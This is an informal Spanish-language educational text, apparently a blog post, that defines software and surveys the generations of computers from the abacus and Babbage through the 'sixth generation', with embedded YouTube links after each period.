Es la información contenida en una computadora, no ocupa un espacio físico, por lo tanto no lo puedes tocar. Software tiene como sinónimos a las palabras: "programa" y "aplicación". Un ejemplo de software es un sistema operativo, un video juego, un procesador de palabras como Word, el Internet, etc.

Conclusión: Una computadora esta formada por el hardware y el software. Una computadora sin hardware no existe y una computadora sin software no sirve. Haciendo una analogía, así como el cuerpo humano se forma de la carne y el espíritu, así también un ordenador se forma de hardware y software, donde el hardware equivale a la carne y el software al espíritu.

Generaciones De Las Computadoras

Las computadoras, tambien llamadas pc (personal computer) se han vuelto indispensables para el desarrollo del mundo moderno, nuestra sociedad colapsaría si ellas desaparecieran por completo en este mismo momento, pero no siempre fue así. Aún ellas comenzaron desde cero, y por ello vamos a comenzar desde el principio de estas asombrosas máquinas. Veremos las generaciones en las cuales se dividen los ordenadores y justo debajo de cada generación veremos un video, el cual nos ayudará a complementar la información expuesta.

ANTECEDENTES DE LAS COMPUTADORAS O GENERACIÓN CERO

Antes de comenzar con las generaciones de las computadoras es menester mencionar a las maquinas que les precedieron, o si se desea ver de esta manera, generación cero. Asi como el hombre actual tiene como nombre científico: "homo sapiens sapiens" y a este le precedieron, en la escala evolutiva, el "homo sapiens", el "homo erectus", el "austrolapitecus", etc., tambien asi las computadoras tienen antepasados en su historia.

El Abaco es el primer pariente lejano de las computadoras, un instrumento utilizado para contar, y a este le sigue El Mecanismo De Antiquitera, un aparato mecánico que predecía las posiciones del sol y la luna, y también es antecedente de las pcs El Astrolabio, artilugio que se ocupaba para buscar estrellas y saber la hora, y también lo son El Planisferio y El Equatorium, asimismo, El Abaco Niperiano tambien lo es, seguido por la pascalina, una calculadora inventada por Blais Pascal.

Tiempo después, Charles Babbage construyó La Maquina Analítica y La Maquina Diferencial. Mas tarde, Joseph Jacquard construyó un telar que implementó un sistema de plantillas perforadas, unidas por correas que programaban puntadas del tejido, logrando una diversidad de figuras.

Te dejo un video de youtube que te puede ayudar a entender varios conceptos, si no se ve el video te pongo el link de youtube correspondiente:

http://www.youtube.com/v/hFP8MVXEipQ&hl



1RA GENERACIÓN DE COMPUTADORAS (1951 a 1958)

Las computadoras de la primera Generación emplearon bulbos para procesar información. Los operadores ingresaban los datos y programas en código especial por medio de tarjetas perforadas. El almacenamiento interno se lograba con un tambor que giraba rápidamente, sobre el cual un dispositivo de lectura/escritura colocaba marcas magnéticas. Esas computadoras de bulbos eran mucho más grandes y generaban más calor que los modelos contemporáneos.

Eckert y Mauchly contribuyeron al desarrollo de computadoras de la 1era Generación formando una compañía privada y construyendo UNIVAC I, que el Comité del censo utilizó para evaluar el censo de 1950. La IBM tenía el monopolio de los equipos de procesamiento de datos a base de tarjetas perforadas y estaba teniendo un gran auge en productos como rebanadores de carne, básculas para comestibles, relojes y otros artículos; sin embargo no había logrado el contrato para el Censo de 1950.


Comenzó entonces a construir computadoras electrónicas y su primera entrada fue con la IBM 701 en 1953. Después de un lento pero exitante comienzo la IBM 701 se conviertió en un producto comercialmente viable. Sin embargo en 1954 fue introducido el modelo IBM 650, el cual es la razón por la que IBM disfruta hoy de una gran parte del mercado de las computadoras. La administración de la IBM asumió un gran riesgo y estimó una venta de 50 computadoras. Este número era mayor que la cantidad de computadoras instaladas en esa época en E.U. De hecho la IBM instaló 1000 computadoras. El resto es historia. Aunque caras y de uso limitado las computadoras fueron aceptadas rápidamente por las Compañias privadas y de Gobierno. A la mitad de los años 50 IBM y Remington Rand se consolidaban como líderes en la fabricación de computadoras.

Aquí esta el respectivo video, si no se ve el video te pongo el link de youtube correspondiente: http://www.youtube.com/v/UmoczcxW_hY&hl



2DA GENERACION DE COMPUTADORAS. (1959-1964)

El invento del transistor hizo posible una nueva Generación de computadoras, más rápidas, más pequeñas y con menores necesidades de ventilación. Sin embargo el costo seguía siendo una porción significativa del presupuesto de una Compañía. Las computadoras de la segunda generación también utilizaban redes de núcleos magnéticos en lugar de tambores giratorios para el almacenamiento primario. Estos núcleos contenían pequeños anillos de material magnético, enlazados entre sí, en los cuales podían almacenarse datos e instrucciones.

Los programas de computadoras también mejoraron. El COBOL (COmmon Busines Oriented Languaje) desarrollado durante la 1era generación estaba ya disponible comercialmente, este representa uno de os mas grandes avances en cuanto a portabilidad de programas entre diferentes computadoras; es decir, es uno de los primeros programas que se pueden ejecutar en diversos equipos de computo después de un sencillo procesamiento de compilación. Los programas escritos para una computadora podían transferirse a otra con un mínimo esfuerzo. Grace Murria Hooper (1906-1992), quien en 1952 habia inventado el primer compilador fue una de las principales figuras de CODASYL (Comité on Data SYstems Languages), que se encago de desarrollar el proyecto COBOL El escribir un programa ya no requería entender plenamente el hardware de la computación. Las computadoras de la 2da Generación eran sustancialmente más pequeñas y rápidas que las de bulbos, y se usaban para nuevas aplicaciones, como en los sistemas para reservación en líneas aéreas, control de tráfico aéreo y simulaciones para uso general. Las empresas comenzaron a aplicar las computadoras a tareas de almacenamiento de registros, como manejo de inventarios, nómina y contabilidad.

La marina de E.U. utilizó las computadoras de la Segunda Generación para crear el primer simulador de vuelo. (Whirlwind I). HoneyWell se colocó como el primer competidor durante la segunda generación de computadoras. Burroughs, Univac, NCR, CDC, HoneyWell, los más grandes competidores de IBM durante los 60s se conocieron como el grupo BUNCH.

Algunas de las computadoras que se construyeron ya con transistores fueron la IBM 1401, las Honeywell 800 y su serie 5000, UNIVAC M460, las IBM 7090 y 7094, NCR 315, las RCA 501 y 601, Control Data Corporation con su conocido modelo CDC16O4, y muchas otras, que constituían un mercado de gran competencia, en rápido crecimiento. En esta generación se construyen las supercomputadoras Remington Rand UNIVAC LARC, e IBM Stretch (1961).

Aqui esta el video, si no se ve el video te pongo el link de youtube correspondiente:
http://www.youtube.com/v/FqmETwY-p3k&hl



TERCERA GENERACIÓN (1964-1971)

Las computadoras de la tercera generación emergieron con el desarrollo de los circuitos integrados (pastillas de silicio) en las cuales se colocan miles de componentes electrónicos, en una integración en miniatura. Las computadoras nuevamente se hicieron más pequeñas, más rápidas, desprendían menos calor y eran energéticamente más eficientes.

El descubrimiento en 1958 del primer Circuito Integrado (Chip) por el ingeniero Jack S. Kilby (nacido en 1928) de Texas Instruments, así como los trabajos que realizaba, por su parte, el Dr. Robert Noyce de Fairchild Semicon ductors, acerca de los circuitos integrados, dieron origen a la tercera generación de computadoras.

Antes del advenimiento de los circuitos integrados, las computadoras estaban diseñadas para aplicaciones matemáticas o de negocios, pero no para las dos cosas. Los circuitos integrados permitieron a los fabricantes de computadoras incrementar la flexibilidad de los programas, y estandarizar sus modelos.

La IBM 360 una de las primeras computadoras comerciales que usó circuitos integrados, podía realizar tanto análisis numéricos como administración ó procesamiento de archivos.

IBM marca el inicio de esta generación, cuando el 7 de abril de 1964 presenta la impresionante IBM 360, con su tecnología SLT (Solid Logic Technology). Esta máquina causó tal impacto en el mundo de la computación que se fabricaron más de

30000, al grado que IBM llegó a conocerse como sinónimo de computación.

También en ese año, Control Data Corporation presenta la supercomputadora CDC 6600, que se consideró como la más poderosa de las computadoras de la época, ya que tenía la capacidad de ejecutar unos 3 000 000 de instrucciones por segundo (mips).

Se empiezan a utilizar los medios magnéticos de almacenamiento, como cintas magnéticas de 9 canales, enormes discos rígidos, etc. Algunos sistemas todavía usan las tarjetas perforadas para la entrada de datos, pero las lectoras de tarjetas ya alcanzan velocidades respetables.

Los clientes podían escalar sus sistemas 360 a modelos IBM de mayor tamaño y podían todavía correr sus programas actuales. Las computadoras trabajaban a tal velocidad que proporcionaban la capacidad de correr más de un programa de manera simultánea (multiprogramación).

Por ejemplo la computadora podía estar calculando la nomina y aceptando pedidos al mismo tiempo. Minicomputadoras, Con la introducción del modelo 360 IBM acaparó el 70% del mercado, para evitar competir directamente con IBM la empresa Digital Equipment Corporation DEC redirigió sus esfuerzos hacia computadoras pequeñas. Mucho menos costosas de comprar y de operar que las computadoras grandes, las minicomputadoras se desarrollaron durante la segunda generación pero alcanzaron sumador auge entre 1960 y 70.

Aqui esta el video, si no se ve el video te pongo el link de youtube correspondiente: http://www.youtube.com/v/QMlrdt2sOkA&hl



CUARTA GENERACIÓN (1971 a 1981)

Dos mejoras en la tecnología de las computadoras marcan el inicio de la cuarta generación: el reemplazo de las memorias con núcleos magnéticos, por las de chips de silicio y la colocación de Muchos más componentes en un Chip: producto de la microminiaturización de los circuitos electrónicos. El tamaño reducido del microprocesador y de chips hizo posible la creación de las computadoras personales (PC)

En 1971, intel Corporation, que era una pequeña compañía fabricante de semiconductores ubicada en Silicon Valley, presenta el primer microprocesador o Chip de 4 bits, que en un espacio de aproximadamente 4 x 5 mm contenía 2 250 transistores. Este primer microprocesador que se muestra en la figura 1.14, fue bautizado como el 4004.

Silicon Valley (Valle del Silicio) era una región agrícola al sur de la bahía de San Francisco, que por su gran producción de silicio, a partir de 1960 se convierte en una zona totalmente industrializada donde se asienta una gran cantidad de empresas fabricantes de semiconductores y microprocesadores. Actualmente es conocida en todo el mundo como la región más importante para las industrias relativas a la computación: creación de programas y fabricación de componentes.

Actualmente ha surgido una enorme cantidad de fabricantes de microcomputadoras o computadoras personales, que utilizando diferentes estructuras o arquitecturas se pelean literalmente por el mercado de la computación, el cual ha llegado a crecer tanto que es uno de los más grandes a nivel mundial; sobre todo, a partir de 1990, cuando se logran sorprendentes avances en Internet.

Esta generación de computadoras se caracterizó por grandes avances tecnológicos realizados en un tiempo muy corto. En 1977 aparecen las primeras microcomputadoras, entre las cuales, las más famosas fueron las fabricadas por Apple Computer, Radio Shack y Commodore Busíness Machines. IBM se integra al mercado de las microcomputadoras con su Personal Computer (figura 1.15), de donde les ha quedado como sinónimo el nombre de PC, y lo más importante; se incluye un sistema operativo estandarizado, el MS- DOS (MicroSoft Disk Operating System).

Las principales tecnologías que dominan este mercado son:

IBM y sus compatibles llamadas clones, fabricadas por infinidad de compañías con base en los procesadores 8088, 8086, 80286, 80386, 80486, 80586 o Pentium, Pentium II, Pentium III y Celeron de Intel y en segundo término Apple Computer, con sus Macintosh y las Power Macintosh, que tienen gran capacidad de generación de gráficos y sonidos gracias a sus poderosos procesadores Motorola serie 68000 y PowerPC, respectivamente. Este último microprocesador ha sido fabricado utilizando la tecnología RISC (Reduced Instruc tion Set Computing), por Apple Computer Inc., Motorola Inc. e IBM Corporation, conjuntamente.

Los sistemas operativos han alcanzado un notable desarrollo, sobre todo por la posibilidad de generar gráficos a gran des velocidades, lo cual permite utilizar las interfaces gráficas de usuario (Graphic User Interface, GUI), que son pantallas con ventanas, iconos (figuras) y menús desplegables que facilitan las tareas de comunicación entre el usuario y la computadora, tales como la selección de comandos del sistema operativo para realizar operaciones de copiado o formato con una simple pulsación de cualquier botón del ratón (mouse) sobre uno de los iconos o menús.

Aqui esta el video, si no se ve el video te pongo el link de youtube correspondiente:
http://www.youtube.com/v/zW65SnZE_Mc&hl



QUINTA GENERACIÓN Y LA INTELIGENCIA ARTIFICIAL (1982-1989)

Cada vez se hace más difícil la identificación de las generaciones de computadoras, porque los grandes avances y nuevos descubrimientos ya no nos sorprenden como sucedió a mediados del siglo XX. Hay quienes consideran que la cuarta y quinta generación han terminado, y las ubican entre los años 1971-1984 la cuarta, y entre 1984-1990 la quinta. Ellos consideran que la sexta generación está en desarrollo desde 1990 hasta la fecha.

Siguiendo la pista a los acontecimientos tecnológicos en materia de computación e informática, podemos puntualizar algunas fechas y características de lo que podría ser la quinta generación de computadoras.

Con base en los grandes acontecimientos tecnológicos en materia de microelectrónica y computación (software) como CADI CAM, CAE, CASE, inteligencia artificial, sistemas expertos, redes neuronales, teoría del caos, algoritmos genéticos, fibras ópticas, telecomunicaciones, etc., a de la década de los años ochenta se establecieron las bases de lo que se puede conocer como quinta generación de computadoras.

Hay que mencionar dos grandes avances tecnológicos, que sirvan como parámetro para el inicio de dicha generación: la creación en 1982 de la primera supercomputadora con capacidad de proceso paralelo, diseñada por Seymouy Cray, quien ya experimentaba desde 1968 con supercomputadoras, y que funda en 1976 la Cray Research Inc.; y el anuncio por parte del gobierno japonés del proyecto "quinta generación", que según se estableció en el acuerdo con seis de las más grandes empresas japonesas de computación, debería terminar en 1992.

El proceso paralelo es aquél que se lleva a cabo en computadoras que tienen la capacidad de trabajar simultáneamente con varios microprocesadores. Aunque en teoría el trabajo con varios microprocesadores debería ser mucho más rápido, es necesario llevar a cabo una programación especial que permita asignar diferentes tareas de un mismo proceso a los diversos microprocesadores que intervienen.

También se debe adecuar la memoria para que pueda atender los requerimientos de los procesadores al mismo tiempo. Para solucionar este problema se tuvieron que diseñar módulos de memoria compartida capaces de asignar áreas de caché para cada procesador.

Según este proyecto, al que se sumaron los países tecnológicamente más avanzados para no quedar atrás de Japón, la característica principal sería la aplicación de la inteligencia artificial (Al, Artificial Intelligence). Las computadoras de esta generación contienen una gran cantidad de microprocesadores trabajando en paralelo y pueden reconocer voz e imágenes. También tienen la capacidad de comunicarse con un lenguaje natural e irán adquiriendo la habilidad para tomar decisiones con base en procesos de aprendizaje fundamentados en sistemas expertos e inteligencia artificial.

El almacenamiento de información se realiza en dispositivos magneto ópticos con capacidades de decenas de Gigabytes; se establece el DVD (Digital Video Disk o Digital Versatile Disk) como estándar para el almacenamiento de video y sonido; la capacidad de almacenamiento de datos crece de manera exponencial posibilitando guardar más información en una de estas unidades, que toda la que había en la Biblioteca de Alejandría. Los componentes de los microprocesadores actuales utilizan tecnologías de alta y ultra integración, denominadas VLSI (Very Large Sca/e Integration) y ULSI (Ultra Lar- ge Scale Integration).

Sin embargo, independientemente de estos "milagros" de la tecnología moderna, no se distingue la brecha donde finaliza la quinta y comienza la sexta generación. Personalmente, no hemos visto la realización cabal de lo expuesto en el proyecto japonés debido al fracaso, quizás momentáneo, de la inteligencia artificial.

El único pronóstico que se ha venido realizando sin interrupciones en el transcurso de esta generación, es la conectividad entre computadoras, que a partir de 1994, con el advenimiento de la red Internet y del World Wide Web, ha adquirido una importancia vital en las grandes, medianas y pequeñas empresas y, entre los usuarios particulares de computadoras.

El propósito de la Inteligencia Artificial es equipar a las Computadoras con "Inteligencia Humana" y con la capacidad de razonar para encontrar soluciones. Otro factor fundamental del diseño, la capacidad de la Computadora para reconocer patrones y secuencias de procesamiento que haya encontrado previamente, (programación Heurística) que permita a la Computadora recordar resultados previos e incluirlos en el procesamiento, en esencia, la Computadora aprenderá a partir de sus propias experiencias usará sus Datos originales para obtener la respuesta por medio del razonamiento y conservará esos resultados para posteriores tareas de procesamiento y toma de decisiones.

Aqui esta el video, si no se ve el video te pongo el link de youtube correspondiente:
http://www.youtube.com/v/mU8rQy7JXfQ&hl



SEXTA GENERACIÓN 1990 HASTA LA FECHA

Como supuestamente la sexta generación de computadoras está en marcha desde principios de los años noventas, debemos por lo menos, esbozar las características que deben tener las computadoras de esta generación. También se mencionan algunos de los avances tecnológicos de la última década del siglo XX y lo que se espera lograr en el siglo XXI. Las computadoras de esta generación cuentan con arquitecturas combinadas Paralelo / Vectorial, con cientos de microprocesadores vectoriales trabajando al mismo tiempo; se han creado computadoras capaces de realizar más de un millón de millones de operaciones aritméticas de punto flotante por segundo (teraflops); las redes de área mundial (Wide Area Network, WAN) seguirán creciendo desorbitadamente utilizando medios de comunicación a través de fibras ópticas y satélites, con anchos de banda impresionantes. Las tecnologías de esta generación ya han sido desarrolla das o están en ese proceso. Algunas de ellas son: inteligencia / artificial distribuida; teoría del caos, sistemas difusos, holografía, transistores ópticos, etcétera.